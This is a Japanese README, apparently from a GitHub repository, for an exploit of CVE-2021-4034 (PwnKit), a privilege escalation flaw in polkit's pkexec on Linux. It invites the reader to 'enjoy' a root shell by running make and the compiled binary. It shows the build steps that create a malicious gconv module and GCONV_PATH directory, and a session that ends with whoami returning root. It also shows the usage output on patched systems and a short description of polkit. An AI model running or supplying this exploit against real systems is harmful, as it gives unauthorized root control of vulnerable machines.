an0n7os/cve-2021-4034CVE-2021-4034のエクスプロイト。polkit pkexecの権限昇格の脆弱性であり、脆弱なLinuxシステム上でrootシェルを提供します。
make を実行し、./cve-2021-4034 を実行するだけで root シェルを楽しめます。
エクスプロイトが機能していれば、すぐに root シェルが取得できます:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
ほとんどのシステムで polkit を更新するとエクスプロイトが修正されるため、使用方法が表示されてプログラムは終了します:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Polkit (旧称 PolicyKit) は、Unix 系オペレーティングシステムにおいてシステム全体の権限を制御するためのコンポーネントです。非特権プロセスが特権プロセスと通信するための体系化された方法を提供します。また、polkit を使用して、pkexec コマンドに実行したいコマンド (root 権限付き) を続けて指定することで、昇格した権限でコマンドを実行することも可能です。